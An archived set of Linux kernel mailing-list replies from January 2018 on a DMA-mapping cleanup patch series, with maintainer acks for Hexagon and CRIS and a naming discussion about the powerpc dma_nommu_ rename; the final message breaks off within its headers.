Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jan 09 04:11:48 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eYkKF-00008B-7Y
	for glki-iommu@m.gmane.org; Tue, 09 Jan 2018 04:11:43 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 219CB1009;
	Tue,  9 Jan 2018 03:13:46 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B5D3D1004
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  9 Jan 2018 03:13:45 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtp.codeaurora.org (smtp.codeaurora.org [198.145.29.96])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id F1355A3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  9 Jan 2018 03:13:44 +0000 (UTC)
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
	id A805060BE8; Tue,  9 Jan 2018 03:13:44 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
	s=default; t=1515467624;
	bh=qDmadMIpbbSNwDjLeXmAPKUnirVBzkl+XuhZLBfDG9s=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=EACt1qTUxC+q6/WrRWKatZc+SKKGa3Gk8P2jSneczFrHs81nPJtDBIim0ZpJsUKbI
	T7giKanW40RTTsKwtrGULygJalEf8to0poyIWEHMrt5V6RPUqZNc4Ojx0achRQaWOd
	mMe3HuoSbt08rJSojVKfDmhAJMGG4eimmVyBEizw=
Original-Received: from codeaurora.org (i-global254.qualcomm.com [199.106.103.254])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: rkuo-4h6buKAYkuurB/BPivuO70B+6BGkLq7r@public.gmane.org)
	by smtp.codeaurora.org (Postfix) with ESMTPSA id CA26D6034E;
	Tue,  9 Jan 2018 03:13:40 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
	s=default; t=1515467623;
	bh=qDmadMIpbbSNwDjLeXmAPKUnirVBzkl+XuhZLBfDG9s=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=CaSD8Xagm9ls9G66PxhEy5W0fs+FE8NYbQzSV5CsqTgn+C+zXDVwdcB/Wb4hoXlkI
	O671cD0fqdANV8WAuRDyTJWE4wvAZ1sf65r7r1ge1SAvNTPv6XH2r+M7ewEAiLZQFT
	luRKpcDvBSY7gz1kcTRR7uktQk73kv8CdAvd0cGY=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org CA26D6034E
Authentication-Results: pdx-caf-mail.web.codeaurora.org;
	dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org;
	spf=none smtp.mailfrom=rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org
Content-Disposition: inline
In-Reply-To: <20171229081911.2802-7-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21989 gmane.linux.ports.mips.general:63176 gmane.linux.ports.ia64:28494 gmane.linux.ports.sh.devel:56211 gmane.linux.ports.sparc:27177 gmane.linux.kernel.cross-arch:41169 gmane.linux.ports.hexagon:1493 gmane.linux.kernel.arc:3279 gmane.linux.kernel.metag:1570 gmane.linux.ports.arm.kernel:624594 gmane.linux.ports.parisc:28169 gmane.linux.kernel:2661245 gmane.linux.ports.alpha:4667 gmane.linux.ports.ppc64.devel:151779
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21989>

On Fri, Dec 29, 2017 at 09:18:10AM +0100, Christoph Hellwig wrote:
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>  arch/hexagon/include/asm/io.h | 2 --
>  1 file changed, 2 deletions(-)
> 
> diff --git a/arch/hexagon/include/asm/io.h b/arch/hexagon/include/asm/io.h
> index 66f5e9a61efc..9e8621d94ee9 100644
> --- a/arch/hexagon/include/asm/io.h
> +++ b/arch/hexagon/include/asm/io.h
> @@ -330,8 +330,6 @@ static inline void outsl(unsigned long port, const void *buffer, int count)
>  	}
>  }
>  
> -#define flush_write_buffers() do { } while (0)
> -
>  #endif /* __KERNEL__ */
>  
>  #endif
> -- 
> 2.14.2
> 

For Hexagon:

Acked-by: Richard Kuo <rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>


-- 
Employee of Qualcomm Innovation Center, Inc.
Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum, 
a Linux Foundation Collaborative Project

From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Tue, 9 Jan 2018 16:38:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180109153826.GA10086@lst.de>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-17-hch@lst.de> <878tdgtwzp.fsf@concordia.ellerman.id.au> <20180104084930.GB3251@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515512205 28258 195.159.176.226 (9 Jan 2018 15:36:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 15:36:45 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 09 16:36:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eYvx3-0006am-PV
	for glk-linux-kernel-3@m.gmane.org; Tue, 09 Jan 2018 16:36:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933514AbeAIPie (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 9 Jan 2018 10:38:34 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:42005 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933474AbeAIPi3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Jan 2018 10:38:29 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id AC85368CFA; Tue,  9 Jan 2018 16:38:26 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20180104084930.GB3251@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2661916 gmane.linux.kernel.iommu:22004 gmane.linux.ports.mips.general:63181 gmane.linux.ports.ia64:28495 gmane.linux.ports.sh.devel:56214 gmane.linux.ports.sparc:27178 gmane.linux.kernel.cross-arch:41177 gmane.linux.ports.hexagon:1494 gmane.linux.kernel.arc:3280 gmane.linux.kernel.metag:1572 gmane.linux.ports.arm.kernel:624844 gmane.linux.ports.parisc:28170 gmane.linux.ports.alpha:4669 gmane.linux.ports.ppc64.devel:151807
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2661916>

On Thu, Jan 04, 2018 at 09:49:30AM +0100, Christoph Hellwig wrote:
> On Tue, Jan 02, 2018 at 08:45:30PM +1100, Michael Ellerman wrote:
> > Christoph Hellwig <hch@lst.de> writes:
> > 
> > > We want to use the dma_direct_ namespace for a generic implementation,
> > > so rename powerpc to the second best choice: dma_nommu_.
> > 
> > I'm not a fan of "nommu". Some of the users of direct ops *are* using an
> > IOMMU, they're just setting up a 1:1 mapping once at init time, rather
> > than mapping dynamically.
> > 
> > Though I don't have a good idea for a better name, maybe "1to1",
> > "linear", "premapped" ?
> 
> It seems like a nice counter part to the dma_iommu_ops used just about
> anywhere else in ppc.
> 
> But I'll happily take any maintainer bike shed decision for the next
> series.  Remember that in a merge window or two it will hopefully
> go away in favor of the new generic dma_direct ops.

Michael, please suggest what name you want for the next iteration,
I don't want to hold up the series on a naming bikeshed.


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 34/67] cris: use dma-direct
Date: Tue, 9 Jan 2018 16:53:17 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180109155317.GN32368@axis.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-35-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515513084 5093 195.159.176.226 (9 Jan 2018 15:51:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 15:51:24 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 09 16:51:18 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eYwBK-0006xb-2t
	for glpm-linux-m68k@m.gmane.org; Tue, 09 Jan 2018 16:51:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758820AbeAIPxV (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 9 Jan 2018 10:53:21 -0500
Original-Received: from bastet.se.axis.com ([195.60.68.11]:54565 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1758807AbeAIPxV (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 9 Jan 2018 10:53:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id 37659183E8;
        Tue,  9 Jan 2018 16:53:20 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id 1j9dfNq2IT8E; Tue,  9 Jan 2018 16:53:19 +0100 (CET)
Original-Received: from boulder03.se.axis.com (boulder03.se.axis.com [10.0.8.17])
        by bastet.se.axis.com (Postfix) with ESMTPS id 3727F183C3;
        Tue,  9 Jan 2018 16:53:18 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 1D76B1E074;
        Tue,  9 Jan 2018 16:53:18 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 0ECAB1E070;
        Tue,  9 Jan 2018 16:53:18 +0100 (CET)
Original-Received: from thoth.se.axis.com (unknown [10.0.2.173])
        by boulder03.se.axis.com (Postfix) with ESMTP;
        Tue,  9 Jan 2018 16:53:18 +0100 (CET)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by thoth.se.axis.com (Postfix) with ESMTP id F34382DFD;
        Tue,  9 Jan 2018 16:53:17 +0100 (CET)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id EDE55800EF; Tue,  9 Jan 2018 16:53:17 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20171229081911.2802-35-hch@lst.de>
X-TM-AS-GCONF: 00
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9853 gmane.linux.kernel.iommu:22005 gmane.linux.ports.mips.general:63182 gmane.linux.ports.ia64:28496 gmane.linux.ports.sh.devel:56215 gmane.linux.ports.sparc:27179 gmane.linux.kernel.cross-arch:41178 gmane.linux.ports.hexagon:1495 gmane.linux.kernel.arc:3281 gmane.linux.kernel.metag:1573 gmane.linux.ports.arm.kernel:624846 gmane.linux.ports.parisc:28171 gmane.linux.kernel:2661954 gmane.linux.ports.alpha:4670 gmane.linux.ports.ppc64.devel:151809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9853>

On Fri, Dec 29, 2017 at 09:18:38AM +0100, Christoph Hellwig wrote:
> cris currently has an incomplete direct mapping dma_map_ops implementation
> is PCI support is enabled.  Replace it with the fully feature generic
> dma-direct implementation.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

For CRIS:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

> ---
>  arch/cris/Kconfig                       |  4 ++
>  arch/cris/arch-v32/drivers/pci/Makefile |  2 +-
>  arch/cris/arch-v32/drivers/pci/dma.c    | 78 ---------------------------------
>  arch/cris/include/asm/Kbuild            |  1 +
>  arch/cris/include/asm/dma-mapping.h     | 20 ---------
>  5 files changed, 6 insertions(+), 99 deletions(-)
>  delete mode 100644 arch/cris/arch-v32/drivers/pci/dma.c
>  delete mode 100644 arch/cris/include/asm/dma-mapping.h
> 

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com

From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 22/67] dma-mapping: clear harmful GFP_* flags in common
 code
Date: Tue, 9 Jan 2018 16:54:54 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20180109155454.GO32368@axis.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-23-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515513191 28533 195.159.176.226 (9 Jan 2018 15:53:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 15:53:11 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 09 16:53:05 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eYwCx-0005uZ-Dz
	for glpm-linux-m68k@m.gmane.org; Tue, 09 Jan 2018 16:52:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1759030AbeAIPzB (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 9 Jan 2018 10:55:01 -0500
Original-Received: from bastet.se.axis.com ([195.60.68.11]:54816 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1759005AbeAIPy7 (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 9 Jan 2018 10:54:59 -0500
Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id 3238F183C2;
        Tue,  9 Jan 2018 16:54:58 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id OTs5x_8RdSGa; Tue,  9 Jan 2018 16:54:55 +0100 (CET)
Original-Received: from boulder03.se.axis.com (boulder03.se.axis.com [10.0.8.17])
        by bastet.se.axis.com (Postfix) with ESMTPS id 21640180E6;
        Tue,  9 Jan 2018 16:54:55 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 106841E074;
        Tue,  9 Jan 2018 16:54:55 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 028411E070;
        Tue,  9 Jan 2018 16:54:55 +0100 (CET)
Original-Received: from seth.se.axis.com (unknown [10.0.2.172])
        by boulder03.se.axis.com (Postfix) with ESMTP;
        Tue,  9 Jan 2018 16:54:54 +0100 (CET)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id E75F92DA9;
        Tue,  9 Jan 2018 16:54:54 +0100 (CET)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id E2632800EF; Tue,  9 Jan 2018 16:54:54 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20171229081911.2802-23-hch@lst.de>
X-TM-AS-GCONF: 00
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9854 gmane.linux.kernel.iommu:22006 gmane.linux.ports.mips.general:63183 gmane.linux.ports.ia64:28497 gmane.linux.ports.sh.devel:56216 gmane.linux.ports.sparc:27180 gmane.linux.kernel.cross-arch:41179 gmane.linux.ports.hexagon:1496 gmane.linux.kernel.arc:3282 gmane.linux.kernel.metag:1574 gmane.linux.ports.arm.kernel:624849 gmane.linux.ports.parisc:28172 gmane.linux.kernel:2661957 gmane.linux.ports.alpha:4671 gmane.linux.ports.ppc64.devel:151810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9854>

On Fri, Dec 29, 2017 at 09:18:26AM +0100, Christoph Hellwig wrote:
> Life the code from x86 so that we behave consistently.  In the future we
> should probably warn if any of these is set.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

> ---
>  arch/cris/arch-v32/drivers/pci/dma.c      | 3 ---

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com

From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 05/67] dma-mapping: replace PCI_DMA_BUS_IS_PHYS with a
 flag in struct dma_map_ops
Date: Tue, 9 Jan 2018 16:55:50 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20180109155550.GP32368@axis.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-6-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515513245 7636 195.159.176.226 (9 Jan 2018 15:54:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 15:54:05 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 09 16:53:59 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eYwDt-0001Xr-DG
	for glpm-linux-m68k@m.gmane.org; Tue, 09 Jan 2018 16:53:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933629AbeAIPz7 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 9 Jan 2018 10:55:59 -0500
Original-Received: from bastet.se.axis.com ([195.60.68.11]:54916 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933579AbeAIPzx (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 9 Jan 2018 10:55:53 -0500
Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id ADB0818095;
        Tue,  9 Jan 2018 16:55:51 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id ylOXaW5dMDoW; Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: from boulder03.se.axis.com (boulder03.se.axis.com [10.0.8.17])
        by bastet.se.axis.com (Postfix) with ESMTPS id D622D183C3;
        Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id C4BE21E070;
        Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id B857E1E077;
        Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: from seth.se.axis.com (unknown [10.0.2.172])
        by boulder03.se.axis.com (Postfix) with ESMTP;
        Tue,  9 Jan 2018 16:55:50 +0100 (CET)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id A8DF52D94;
